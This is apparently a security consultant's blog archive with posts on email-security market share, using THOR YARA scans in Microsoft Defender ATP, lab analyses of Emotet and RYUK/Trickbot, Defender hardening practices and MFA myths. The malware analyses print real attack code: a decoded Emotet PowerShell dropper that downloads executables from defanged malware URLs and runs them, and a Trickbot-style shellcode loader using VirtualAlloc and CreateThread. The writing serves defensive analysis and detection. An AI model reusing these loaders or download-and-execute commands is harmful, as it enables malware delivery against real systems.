Category Archives: Security

Fortune 500 Email Security Vendor Market share

Which email security vendors are gaining or losing market share? About a year ago I wrote an article (here) detailing how to use PowerShell to crawl the public DNS records of the Fortune 500.

So 12 months later, Microsoft has decreased 12% and Proofpoint has increased 12%. Cisco also had an 18% increase in market share. 


MDATP and THOR–A Powerful combination

Microsoft Defender Advanced Threat Protection (MDATP) is an extended detection and response (XDR) solution, a kind of SHIELD, that combines protection for endpoints (Microsoft Defender ATP), email and productivity tools (Office 365 ATP), identity (Azure ATP), and cloud applications (Microsoft Cloud App Security/MCAS), and many 3rd party solutions like Nextron Systems THOR APT Scanner. As customers face attacks across endpoints, cloud, applications and identities, MTP looks across these domains to understand the entire chain of events, identifies affected assets, like users, endpoints, mailboxes, and applications, and auto-heals them back to a safe state.

Basically, it’s very similar to how S.H.I.E.L.D needs the Avengers to carry out missions. Do you see what I did there? (Thor is an Avenger).

This blog post is about the 3rd party aspect of the XDR when MDATP can tap into THOR to use 12,000 YARA rules from Nextron Systems.

How do you get your hands on YARA rules? Well, you can write your own, but that could take you years to map out all the known threats out there. Or you can purchase a tool like THOR from Nextron Systems, which integrates with their database of 12,000+ YARA rules. The strength of their particular rule set is that it focuses detecting APT threat groups, and over 1,500 web shells. Most EDR systems miss the web shells that these YARA rules detect.

Nextron has previously published their integration capabilities with MDATP on their blog (here) and I highly recommend you check it out.


In this blog post, we are going to try out the newest integration from Nextron, which features their THOR Cloud scanner. This was EASY! From start to finish it took me less than 5 minutes. You simply download the PowerShell script from Nextron, which is generated to include the license key, upload that script into MDATP’s Live Response, and in less than one minute, get a report back on any matches that were found from the THOR scan. The default configuration, quick scan, can be modified to include additional modules such as Registry and Process, but this will increase the scan time from 1 minute to ~15 to 20 minutes. A scan of the entire file system and event log could extend the time to 40 minutes to 3 hours depending on the number of files and types of contents. I recommend getting started with quick scan first so you can see how it works. If you decide to make changes, here is a screen shot of the section of the script you can change:


Step 1. Obtain a license key from Nextron.

Note: This blog post will be updated with more details about an upcoming webinar in June, 2020 featuring Florian Roth (@cyb3rops)

Step 2. Launch MDATP Live Response Session

Note: As of April 6th, Live Response now runs on Windows 10 1709 or newer (it was previously only available on 1903 or newer). Make sure you have Live Response and Custom Scripts enabled in MDATP (they are off by default). You’ll need to enable, at least, the minimum Remediation Level for a given Machine Group.


Upload the thor-seed.ps1 file that you obtained from Nextron.




The scan completed in just under one minute. Very fast, when you consider it used over 12,293 YARA rules!


It produced a handsome HTML report in C:\ProgramData\thor


I first ran this on a clean system to create a baseline, I wanted to make sure I didn’t get too many false positives on a machine I expected to be clean. It was very accurate, because it detected TOR but no other false indicators.


On another system I tried, it reported a file containing dumped password hashes, created from Gsecdump (developed by Johannes Gumbel).


Here is an example of PSEXEC.exe being found even though it was renamed to 2.exe


After the scan completes, it provides hints on the syntax to remotely retrieve the HTML report and detailed TXT files from the remote system, and then remove them with the remediate command.


If you run the scan twice, you need to first remove the prior HTML and TXT files. If you use the Remediate command, it will create a pop-up on the target machine that the file was removed.


Another interesting lesson I learned is that even if you delete the HTML report, if you download it a second time, Defender will still grab a cached copy from the first download


I believe adding the timestamp to the file name should eliminate this cache problem.

Overall, I would highly recommend this whenever you are investigating a threat with MDATP because many of these YARA rules detect threats that are not yet found in VirusTotal. These YARA rules from Nextron effectively extend the MDATP detection capabilities as shown below. For example, the presence of TOR.exe, PSEXEC.exe, or the LM Hash dump from Gsecdump were not flagged as alerts inside MDATP EDR.


Also, check out the latest MITRE evaluation of MDATP against the Russian Hacking Group “Fuzzy Bear” aka APT 29 (here).

Conditional Access with Hybrid Domain Join requires browser extension for Chrome

For Chrome to be compatible with Azure AD conditional access security policies that check for Hybrid Domain Join, you must install a Browser extension from (here) *or* deploy a registry key from (here).

This is because Chrome does not pass the Hybrid Domain Join status, as shown below:


IE or Edge



Adding the browser extension or registry keys allows a user to use Chrome to access the SSO via conditional access policy.

Otherwise you will get an error “You can’t get there from here”


Emotet Analysis

This blog post is an informal analysis of Emotet and how Microsoft security solutions detect it.

Disclaimer: Do not try this on your own unless you know what you are doing (even if you know what you are doing – I accept no responsibility for your actions – this is an educational blog post meant to educate on the dangers of Emotet and what defenses are effective at blocking it!).

Lab Setup:

Machine 1 = Microsoft Windows 10 1809 with the standard free built-in Defender antivirus.

Machine 2 = Microsoft Windows 10 1809 with the Microsoft Defender Advanced Threat Protection (MDATP)

Machine 1 (Free Windows Antivirus)

Smart Screen immediately detected the website hosting Emotet:

After ignoring the warning, I got another warning when trying to download the file.

I had to go into the downloads and choose “download file anyway.”

Finally, I was able to save it to the desktop and launch it on Machine 1.

Inside the document, a message tells the user to Enable Editing and Enable content…

After clicking Enable Content, I am asked to translate this document – or “Never for Russian.” HA! That should be a warning enough!

Sample 1 Sample 2 Sample 3
Sample 4 Sample 5 Sample 6
anytvvyj37x.exe Y19kqh1qzpi.exe

Before proceeding further, let’s look at what the Macro would do. Intense obfuscation going in in this code, with the word Process being truncated:

It’s clear from analyzing this that the first recommendation is to disable Macros from running from Office documents. These obfuscation techniques would be very difficult to block. Download a copy of the Macro for analysis (here).

After clicking Enable Editing we get yet another warning. Only the most sadistic user would have clicked past this many warnings without stopping to ask their IT Dept for help, right?

A PowerShell appeared and then disappeared.

Suddenly a file “305.exe” appears in the %userprofile% directory

Finally, a few minutes later, we get a pop-up that Emotet!MTB is found:

Machine 2

As soon as I copied the file to Machine 2, Microsoft MDATP immediately detected and blocked the threat.

Within a few seconds the file was quarantined and removed.

Therefore, to observe what happens within MDATP, I disabled real-time protection.

Here are some observations of what MDATP detected using its Endpoint Detection and Response (EDR) capabilities:

Launching one of the Word documents:

  1. wmiprvse.exe -secured -Embedding Powershell -w hidden -en (base-64 encoded command)

    This encoded command was decoded as follows:
    $Jbjdmrkf=’Wvxojjxy’;$Kqzvqjcdbdk = ‘306’;$Gxduocdjcjt=’Bkfkbofippczt’;$Mbkmoong=$env:userprofile+’\’+$Kqzvqjcdbdk+’.exe’;$Uefczpcdfixo=’Rqdkzmydmwtwf’;$Iybnpytfapm=&(‘new’+’-ob’+’jec’+’t’) neT.webcLIEnt;$Dqsynahyyvxl=‘https://sandiegohomevalues[DOT]com/engl/4de-kzsyhu-768611/*https://www.wenkawang[DOT]com/data/bofze0s-7ji4-15/*https://www.bruidsfotograaf-utrecht[DOT]com/wp-includes/QLvFLy/*http://ma.jopedu[DOT]com/img/8z8dl-3xn-655019278/*http://pay.jopedu[DOT]com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/’.”S`PLIT”(‘*’);$Avvhkoyer=’Zgzbdzymy’;foreach($Rcrndqfmfme in $Dqsynahyyvxl){try{$Iybnpytfapm.”dO`WnloaDf`Ile”($Rcrndqfmfme, $Mbkmoong);$Ptiuqrijdklve=’Hwhsmlzs’;If ((&(‘G’+’et-Item’) $Mbkmoong).”Len`gTh” -ge 30309) {[Diagnostics.Process]::”s`TarT”($Mbkmoong);$Lstxssia=’Ypyhvhhw’;break;$Vnasbffmoq=’Cmgqpgssndib’}}catch{}}$Ilrervzhi=’Bvnmvmpadnlb’

  2. MDATP then observed the creation of a file 306.exe.
    Note: Since this incremented from the last time (305.exe observed earlier, we assume this variant has been run at least 300 prior times).
  3. Pretty nice how MDATP interfaces decodes the PowerShell on the fly:

Launching file: “y19kqh1qzpi.exe”

  1. Created file: C:\ProgramData\cvxgdfade.sxcase
  2. Emotet grabbed the clipboard data

  1. A service was created for persistence:
    The description it gave itself for evasion was “Windows infrastructure service that controls which background tasks can run on the system.”
    But it is really running this executable:


  2. Attempted to communicate with IPs:
  3. MDATP EDR detected plainsetthe.exe as Trojan:Win32/Tiggre!plock by Antivirus
  4. MDATP EDR detected cvxgdfade.sxcase as Trojan:Win32/Emotet.PI!MTB by Antivirus
  5. svchost.exe -k wsappx -p -s ClipSVC
  6. “backgroundTaskHost.exe” -ServerName:App.AppXemn3t55segp7q92mwd35v2a5rk5mvwyz.mca


The native Windows Defender AV did a good job, but it was especially effective when combined with Microsoft Edge SmartScreen. Based on this experience, I would recommend standardizing on browsers that use SmartScreen.

The advanced MDATP upgrade provided incredible visibility and insight into exactly what was happening to the file system, registry, processes, and network communication. See my previous blog post on MDATP best practices to lock it down even further.

If you are running Office 365 ProPlus Click-To-Run, it would be a good idea to disable Macros at the website (Many people don’t realize that Office 365 ProPlus will download configuration from the website every time an Office application launches). As an IT Admin, you can create policy to prevent Macros from the internet from launching on PC’s as an extra safeguard.

Another new feature, Safe Docs, is an Office 365 E5 feature that uses ATP SafeAttachments sandboxing to sandbox any Office document – which is helpful because in these cases the malicious documents were downloaded from internet websites.

Here is the MITRE Attack visualizing Emotet + Trickbot + Ransomware

Download TripleThreat MITRE JSON then upload it into Attack Navigator to create your own visualizations.


[Raw Analysis can be downloaded to .CSV here]

  • cvxgdfade.sxcase
  • plainsetthe.exe
  • 305.exe (Incremented to 306.exe on the next run)
  • HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\plainsetthe
  • y19kqh1qzpi.exe
  • ‘https://sandiegohomevalues[DOT]com/engl/4de-kzsyhu-768611/*
  • https://www.wenkawang[DOT]com/data/bofze0s-7ji4-15/*
  • https://www.bruidsfotograaf-utrecht[DOT]com/wp-includes/QLvFLy/*
  • http://ma.jopedu[DOT]com/img/8z8dl-3xn-655019278/*
  • http://pay.jopedu[DOT]com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/

RYUK Ransomware and Trickbot Analysis

This blog post is an informal analysis of RYUK ransomware (MITRE T1486) and Trickbot. There have already been many professional write-ups on RYUK, including FireEye, CrowdStrike, Malwarebytes, Cyberreason, and CheckPoint. In the last 90 days, RYUK has been detected in 14 States across the USA and has been labeled the “Threat of the Quarter” by Center of Internet Security. Internationally, the Mexican state-owned petroleum company Pemex was recently infected by RYUK, along with businesses in Spain and around the world. Just do a search for RYUK in the news for the last 30 days and you’ll find dozens of victims including 110 nursing homes, 400 hospitals, several state and local government – it’s a major crisis.

Many of the organizations that have been hit with RYUK did not ‘threat model’ against APT groups, and it’s a rather unfair fight – like an NFL team beating up on your local high school football team, or a military using laser weapons against a civilian population using pitch forks. According to Coveware, the average RYUK ransom payment is $300,000 USD, and RYUK has earned an estimated 4 million dollars in the last 90 days.

I obtained a copy of RYUK from an infected customer and then used the MDATP Evaluation Lab to examine RYUK behavior. I also obtained a copy of Trickbot for analysis from this website (here).

It was helpful to detonate these two samples separately because it can be confusing to know when one starts and the other ends.

The MDATP evaluation lab recorded every process, registry change, file creation and network communication. I’ve uploaded the reports for download here:

  • Download RYUK_MDATPAnalysis.csv file (here)
  • Download Trickbot_MDATPAnalysis.csv file (here)

My first impression was – this is incredibly complicated. To understand RYUK, you really need a deep understanding of Trickbot (There are two great posts analyzing the behavior (here) and (here). This is because, in the wild, RYUK uses a dropper such as Trickbot or Emotet to disable AV, maintain persistence, steal Chrome & IE Passwords, distribute Ryuk ransomware executable files via Group Policy, and PSEXEC. RYUK by itself is immediately detected by Defender Antivirus as TrojanDropper:PowerShell/Ploty.H and Trojan:Win32/Tiggre!plock which is why it relies upon something like Trickbot or Emotet to disable AV. Crowdstrike reported (here) earlier this month that RYUK has evolved to send wake-on-lan packets to wake up computers that have been shut down.

Trickbot infections can remain undetected for weeks or months until the attackers determine whether or not the victim is worthwhile pursuing according to reporting by Ars Technica. In some cases, the deployment of RYUK is just a diversion to draw attention away from banking/SWIFT transaction fraud.

Trickbot’s initial infiltration uses phishing attachments (like Microsoft Word and Excel) and RDP. Cyberreason observed that Emotet can bring Trickbot into an environment, which can then bring RYUK in.

Trickbot modified the Registry to disable Antivirus. Distribution occurred via PSEXEC and Group Policy Startup, Login, Logoff, and Shutdown scripts. RYUK spread via Group Policy in the attacks against the State of Louisiana as reported by Ars Technica (here), and is therefore similar to how BitPaymer is known to spread via group policy.

Azure ATP detected three lateral movement techniques: Pass-the-ticket, RDP, and SMB file copies to domain controller shares.

There were 5 days between the first Pass-the-ticket to the coordinated distribution of ransomware via Group Policy.

A limited number of target machines performed C2 communication to a single IP address: I suspect this was Trickbot C&C because when RYUK was isolated in a VM by itself, it performed encryption without any external C2 communication. A new Trickbot C&C command “yvjlQIh.exe 8 LAN” was observed (The executable is always random). Other C&C commands have been documented by Fortinet here.

Interesting cleanup command was observed:

rundll32.exe C:\WINDOWS\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:411042507 WinX:0 WinY:0 IEFrame:0000000000000000

PowerShell was encapsulated by Base64 then compressed with GZIP. This GZIP encapsulation ended up being a great way to identify the suspicious PowerShell.

Here is an example:

cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c “if([IntPtr]::Size -eq 4){$b=’powershell.exe’}else{$b=$env:windir+’\syswow64\WindowsPowerShell\v1.0\powershell.exe’};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments=’-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(”a string containing commands”))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))’;$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle=’Hidden’;$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);”


Note: The same command above was embedded as a Windows Service here:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\(Random Value)\ImagePath\


To collect a list of all PowerShell commands using GZIP, the following MDATP Advanced Hunting Query can be used (this sample was submitted to the MDATP GitHub Library here).


    | where EventTime > ago(30d)

    | where ProcessCommandLine has “System.IO.Compression.GzipStream

    | project EventTime, ComputerName, InitiatingProcessFileName, FileName, ProcessCommandLine, MachineId, ReportId


To decompile the GZIP I modified Marcus Gelderman’s PowerShell Script from GitHub (here) to include an additional step to decode Base64.


foreach ($payload




“Decoded: “ ( $enc.GetString( $decompressedByteArray ) |
Out-String )>>




Here is an example of the decoded PowerShell command. Notice each function and parameter is randomized to evade EDR and ML solutions looking for static function strings. However, when I saved this as a TXT file, MDATP instantly recognized it as unsafe and removed the file.

function zQ8wa {

    Param ($al, $ppXta)       

    $qgFCK = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(‘\\’)[-1].Equals(‘System.dll’) }).GetType(‘Microsoft.Win32.UnsafeNativeMethods’)


    return $qgFCK.GetMethod(‘GetProcAddress’, [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($qgFCK.GetMethod(‘GetModuleHandle’)).Invoke($null, @($al)))), $ppXta))



function cFG {

    Param (

        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $gM,

        [Parameter(Position = 1)] [Type] $a40 = [Void]



    $zGRY = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(‘ReflectedDelegate’)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(‘InMemoryModule’, $false).DefineType(‘MyDelegateType’, ‘Class, Public, Sealed, AnsiClass, AutoClass’, [System.MulticastDelegate])

    $zGRY.DefineConstructor(‘RTSpecialName, HideBySig, Public’, [System.Reflection.CallingConventions]::Standard, $gM).SetImplementationFlags(‘Runtime, Managed’)

    $zGRY.DefineMethod(‘Invoke’, ‘Public, HideBySig, NewSlot, Virtual’, $a40, $gM).SetImplementationFlags(‘Runtime, Managed’)


    return $zGRY.CreateType()



[Byte[]]$eakcC = [System.Convert]::FromBase64String(“(removed to not uniquely identify client)”)


$cDahn = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll VirtualAlloc), (cFG @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $eakcC.Length,0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($eakcC, 0, $cDahn, $eakcC.length)


$oez = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll CreateThread), (cFG @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$cDahn,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll WaitForSingleObject), (cFG @([IntPtr], [Int32]))).Invoke($oez,0xffffffff) | Out-Null


When isolated by itself, RYUK executed the following commands in the MDATP evaluation lab:

“net.exe” stop “vmickvpexchange” /y
conhost.exe 0xffffffff -ForceV1
net1 stop “vmickvpexchange” /y
“net.exe” stop “sacsvr” /y
net1 stop “sacsvr” /y
“net.exe” stop “samss” /y
net1 stop “samss” /y

About a minute after running RYUK, the ransom page was shown:


For customers who use Microsoft Defender, they can enable the new Anti-Tampering feature to prevent AV from being disabled. Corporate customers can use Intune to make it even harder to disable the Anti-Tampering feature, since it abstracts the ability to turn it off to a separate cloud based management interface (otherwise if the on-premises domain admin is compromised, Anti-Tampering would (Requirements: Windows 10 E5 license, Intune, and Windows 10 1903 or higher).

Microsoft Attack Surface Reduction rules would prevent PSEXEC from launching.

If you are a Microsoft shop, see my other blog article (here) on MDATP best practices for other recommendations.


RYUK has historically been attributed to Lazarus Group, or as FireEye suggests, a dedicated unit APT38 but it could have been shared with a cybercrime group in Russia since the update from June 2019 blacklists the ransomware from infecting Russia. McAfee and CrowdStrike have both indicated possible Russian connections because of this black list. Researchers are sharply divided on attribution, but it is worth noting that reports have previously circulated about APT38 inserting Russian language into code as a false flag. Either way, it’s commonly accepted that nation-states and major cybercrime threat actors have access to RYUK. Some have speculated that RYUK may be sold as ransomware-as-a-service on the Dark Web but I haven’t seen much evidence supporting this.

The United Nations Security Council report states that North Korea is illegally generating revenue through cyberattacks to circumvent UN resolutions (page 52).

Insurance Considerations

For businesses that do not have cybersecurity insurance, check with your insurance company if “Business Interruption Insurance” will cover the ransomware attack since the servers are down and therefore interrupting business.


  • V1.exe
  • V2.exe
  • RyukReadMe.html
  • PSEXESVC.exe
  • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware\1
  • HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\(Random Value)\ImagePath\
  • (Many others – check the

    RYUK_MDATPAnalysis.csv and Trickbot_MDATPAnalysis.csv files for more)


Hash MD5



Hash SHA1



17027688118a848129388a03904f98227e93d100 (as of 11/26/19 still not in Virus Total)

Hash SHA256



MDATP Best Practices

    • Why? The first step in many APT attacks is to use a ‘Dropper’ to disable Antivirus or other security settings via the registry, PowerShell, GPO, etc.
    • This is a Microsoft Defender feature that does not require Windows 10 E5, but if you have E5 then you can leverage Intune to prevent the user from disabling this feature. The benefit of requiring Intune is that it abstracts the ability to disable antivirus to a separate management stack. Otherwise the attacker could use several methods of disabling AV. This advanced feature requires Windows 1903 or higher.
    • [Update February 2021] This feature can now be enabled globally inside Defender for Endpoint’s advanced feature settings. Now, the only time you need to use Endpoint Manager/Intune to control Tamper Protection is if you need more granular control on a per device/group basis.
    • Using Intune Device Profiles:
    • Create a profile that includes the following settings:
    • Platform: Windows 10 and later
    • ProfileType: Endpoint protection
    • Settings > Windows Defender Security Center > Tamper Protection
    • ASR Rules are a feature of Windows 10 E3 and Windows 10 E5. The E5 version adds two unique rules that are not available in the E3 version.
    • ASR rules can be enabled without MDATP, but the benefit of using MDATP is the centralized reporting, otherwise the audits would be decentralized in the local event viewer.
    • ASR Rules are branded as part of “Microsoft Defender Exploit Guard” which is a series of Windows 10 security features including Controlled Folder Access, Exploit Protection, and Network Protection.
    • Some of the ASR rules require cloud-delivered protection to be enabled. Read the ASR documentation page to identify important caveats before enabling ASR.
    • The ASR Rule “Executables that don’t meet a prevalence, age, or trusted list criteria” examines .exe, .dll, .scr to determine if they are in a whitelist that MSFT maintains, and there is no way to add exclusions, so we recommend setting this rule to Audit mode.
    • In Intune, navigate to Device configuration – Profiles > Profile name > Endpoint Protection > Microsoft Defender Exploit Guard > Attack Surface Reduction.
      • I recommend enabling them all to Block or Enable with the exception of “Executables that don’t meet a prevalence, age, or trusted list criteria” (Set that one to Audit mode)
    • This is a series of configuration items that submit a new executable or script to cloud. Block at first sight only uses the cloud protection backend for executable files and non-portable executable files that are downloaded from the Internet, or that originate from the Internet zone
    • You can configure this using Intune, SCCM, or Group Policy.
    • In Intune, navigate to Device configuration – Profiles > Profile name > Device restrictions > Windows Defender Antivirus.
      • Cloud-delivered protection: Enable
      • File Blocking Level: High
      • Time extension for file scanning by the cloud: 50
      • Prompt users before sample submission: Send all data without prompting
      • Submit samples consent: Send all samples automatically
  • Enable MDATP Sample sharing for all files
    • In Intune, navigate to Device configuration – Profiles > Profile name > Microsoft Defender ATP (Windows 10) > Sample sharing for all files > Enable
    • In Intune, navigate to Device configuration – Profiles > Profile name > Microsoft Defender ATP (Windows 10) > Expedite telemetry reporting frequency > Enable
    • Create a Role Group in MDATP Settings > Permissions > Roles (select a group)
    • Create a MDATP machine group, set it to all machines, and assign it to Full – Remediate threats automatically
    • Enable Automated Investigation in MDATP Settings > Advanced Features
    • Enable *all* of the MDATP Settings > Advanced Features (or as many as you are licensed for, ex: Azure ATP, Intune, MCAS, etc).
  • Block Manual Intune Unenrollment
    • In Intune, navigate to Device configuration – Profiles > Profile name > Device Restrictions > General > Manual unenrollment > Block
    • In Intune, navigate to Device configuration – Profiles > Profile name > Device Restrictions > General > Direct Memory Access > Enabled
    • Network protection expands the scope of Windows Defender SmartScreen to block all outbound HTTP(s) traffic that attempts to connect to low-reputation sources (based on the domain or hostname).
    • Network Protection is branded as part of “Microsoft Defender Exploit Guard” which is a series of Windows 10 security features including Controlled Folder Access, Exploit Protection, and ASR rules.
    • Network Protection can be enabled without MDATP, but the benefit of using MDATP is the centralized reporting, otherwise the audits would be decentralized in the local event viewer.
    • In Intune, navigate to Device configuration – Profiles > Profile name > Endpoint Protection > Microsoft Defender Exploit Guard > Network Filtering > Network Protection
  • Enable SmartScreen
    • Already Built-in to Microsoft Edge (and Chromium-Edge)
    • “Windows Defender Browser Protection” is available as an add-in to Chrome (here)
  • Enable EDR Block Mode.
    • Originally, it was assumed this feature was only applicable when Defender was in passive mode behind another AV client. While that is the primary use case for EDR Block mode, Microsoft’s documentation recommends enabling this feature even when Defender is in Active mode.
      “We recommend keeping EDR in block mode on, whether Microsoft Defender Antivirus is running in passive mode or in active mode. EDR in block mode provides another layer of defense with Microsoft Defender for Endpoint. It allows Defender for Endpoint to take actions based on post-breach behavioral EDR detections.”
  • Block Macros (
    • Disable Trust Bar Notification for unsigned application add-ins and block them
    • Disable all Trust Bar notifications for security issues
    • VBA Macro Notification Settings: Enable with “Disable without Notification”
    • Disable VBA for Office applications
    • Block macros from running in Office files from the Internet
      • To avoid problems with users who need valid/trusted Macros, you can enable two additional settings:
        • Allow Trusted Locations on the network
          • Lock down the NTFS and/or Share Permissions to only allow authorized users (admins?) from adding Macros to this path (Ask each Department to provide Macros for review)
        • Trusted Location #1 (through #20)
          • This is where you can specify the network path of where the authorized Macros can run from

I will be updating this blog periodically as I encounter additional settings that are particularly helpful for blocking threats.

Update: @djteller (Tomer Teller) pointed out that the Threat and Vulnerability Management (TVM) feature inside MDATP has a Security Recommendations section which includes these recommendations, and many other great ones (69 total). Check it out inside your MDATP Tenant here:

Update: 4/21/2020 – One of my customers pointed me to this Youtube Video which shows how some of these hardening settings did against 800 malware samples, click (here) to watch the video. Note: the author was working with the standard version of Windows Defender, and I imagine the four threats that got through would have been blocked if ASR had been enabled (ASR is not available in the free edition of Defender).

Disclaimer: This is for educational purposes only, you assume all risk for testing these in your lab first before deploying to production.

Microsoft Resets Office 365 external cloud storage preferences

Important Announcement from Microsoft on 7/31/19 to all Office 365 customers. Beginning 8/15/19, Microsoft will enable a new setting that allows all Office 365 users to send data to their personal cloud storage accounts (Google Drive, Facebook, Consumer OneDrive, etc). This will take effect even if you had disabled a similar setting in the past. Here is the new command to turn this off.


Here is the email all Office 365 administrators should have received relating to this roadmap ID 52597

‪The old way of hardening will no longer work using these cmds: set-owamailboxpolicy -DropboxAttachmentsEnabled $false -BoxAttachmentsEnabled -GoogleDriveAttachmentsEnabled $false -ThirdPartyAttachmentsEnabled $false‬

This is not the first time Microsoft has changed the default settings or experience which has a security / governance impact.

Top MFA Myths and Misconfigurations

As a consultant who specializes in deploying Microsoft security solutions, I have helped deploy multi-factor authentication to hundreds of companies over the years. I’ve heard lots of excuses why companies fail to deploy MFA, and I’ve seen even more misconfigured MFA deployments. I’ve heard alarming stats that fewer than 3% of Global Administrators are enabled for MFA. Let’s see if we can bust through the blockers that prevent people from deploying MFA correctly. Here are the top misconfigurations and/or myths that I have encountered.

  • “I can deploy a single Azure Conditional Access Policy to enforce MFA”

    This *used* to be a myth but Microsoft has made an update in August 2020 that all new Conditional Access policies will include legacy auth by default (it was the opposite before). This is a good step in preparation for the MSFT announcement to block legacy auth in the 2nd half of 2021. Prior to the update, you had to deploy a 2nd policy to block legacy authentication, because CA policies did not block legacy authentication by default. The 2nd policy had to specify the condition of client apps >  “other clients” selected. You would think a ‘block access’ means block all access and that you wouldn’t have to configure something beyond that, but you must create the additional condition.

  • I can block foreign attackers from signing in by creating a Conditional Access policy to block IP addresses outside of the United States.

    This is mostly a myth. While you may deter the laziest “drive-by attackers”, any determined attackers will relay through a VM residing inside the United States (for example, a compromised IaaS VM hosted in Amazon or Azure), or use a VPN proxy with an exit node inside the United States.

    Important note: IP-Fencing policies that use regions (example: block all Countries outside the USA) will not block *all* IPv6 address unless you check the box “Include unknown areas.” This is because some IPv6 blocks are not associated with a particular location.

    Important! This also works the other way:  If you have a block policy that excludes USA, you may still be blocking connections from inside the USA that use IPv6 addresses – since some IPv6 ranges don’t have an associated location.

  • “I can’t block legacy auth because we don’t have an Azure AD Premium license”

    This is a myth because while the premium license certainly makes things easier, there are three ways you can still block legacy authentication.

  • “I don’t need to consider Office clients when deploying MFA.”

    That may be true if you have fully deployed Office 2016 or higher, however, if you have any older clients, then you have work to do.

    • Office 2013 clients do not support MFA unless you deploy two registry keys
    • Office 2010 and older clients require the use of MFA Application Passwords, which are pure evil because they never expire, so when you go to terminate the user by resetting their AD password, most helpdesks forget to delete the MFA app passwords because its buried in a separate administrative interface. Worse yet, MFA App Passwords are enabled by default unless you turn them off in the hidden MFA admin portal (here) (most people don’t realize that ‘service settings’ is a click-able link, so they never see the option to disable MFA app passwords!
  • “We couldn’t deploy MFA at my organization because it broke our administrative PowerShell.”

    Many of the Office 365 Administrators aren’t aware that they have to download MFA–compatible PowerShell modules.
    Try the new Azure Cloud Shell, which takes the hassle out of downloading MFA modules. Azure AD and Exchange Online are already pre-loaded. Sign in from any web browser!

    Or, if you want to use the old method, download all the modules from Terry Munro’s blog here. Setup your workstation following his walkthrough (here), and then download the all-in-one script (here) which is what I prefer to use.

  • “we couldn’t deploy MFA because we use ActiveSync”

    While it is true that older ActiveSync clients do not support MFA, you can work-around this by deploying an MFA-compatible application such as Outlook for iOS or Android. If you don’t have the means of distributing software to your end-users, or if you think you can’t ask them to install the Outlook App themselves (by the way you are underestimating your users, they know how to use the App Store!). Anyway, if you don’t want the hassle of communicating to end-users, then you could create a policy in Exchange Online that quarantines devices by default unless they are authorized by IT. You can also run a PowerShell script to determine how many of your users are using older ActiveSync clients, like the script I published in the TechNet Gallery (here).

  • “we tried rolling out MFA, but our users still had to use “MFA App Passwords” so we stopped the rollout.”

    This can happen if your Office 365 tenant has not been enabled for Modern Auth. Microsoft stated that they were in the process of rolling this out to all new tenants created after August 2017, however, I still sometimes come across customer tenants where these settings are not enabled. In short, if you are still seeing modern clients require Modern Auth, it usually means that it is not enabled for Exchange Online and/or Skype Online. So you need to enable those with PowerShell as described here for Exchange and here for Skype Online.

    Did you know? The new admin center now allows you to enable Modern Auth without using PowerShell!

  • CA Policies do not override MFA Always ON. You must disable MFA-Always ON before a CA Policy will take effect, otherwise MFA-Always ON will override the CA Policy.

    I had a customer start off with deploying Always ON MFA, then they wanted to stop having people prompted for MFA from domain joined machines. They couldn’t figure out why their conditional access policies were not working. It turned out, they never went back to disable Always ON MFA. They assumed it should have been smart enough to override the Always ON MFA. As soon as we disabled the Always ON MFA setting, then the conditional access policies kicked in correctly, so that MFA prompts did not appear when they originated from domain-joined machines.

  • “we are configured to use Mobile Authenticator so we are configured according to best practice!”

    That is only true if you also disabled SMS, which is enabled by default and available for an attacker to perform a downgrade attack. Technically, SMS is better than no MFA (it’s 99% effective against drive-by attacks), but if you want to be configured according to best practice, you will go the extra step of removing SMS from being an option presented to users. PCI & NIST 800-63: SMS should no longer be used in 2FA, because SMS is only 76% effective against nation-state groups.

    Note: As stated above, this setting can be hard to find because the “service settings” option does not appear like a click-able link. Here is the direct link if you need help navigating to that setting.

  • “we use Duo, RSA, OKTA or xyz MFA provider so we are protected against credential phishing.”

    This is a huge misnomer. You can be using what you think is the best user-MFA solution in the market, however, unless you have added machine-level authentication to your conditional access policy, you are vulnerable to man-in-the-middle proxy solutions such as EvilGinx2. The only correct way to defend against man-in-the-middle is to add machine authentication as an additional factor (or Intune enrollment for mobile devices). Machine authentication can be domain-join checking, certificate authentication, or FIDO2/U2F. To learn more about this vulnerability, read my other blog post (here).

  • “Conditional Access Policies are not secure because when a user roams outside the corporate network, they are not immediately prompted for MFA.”

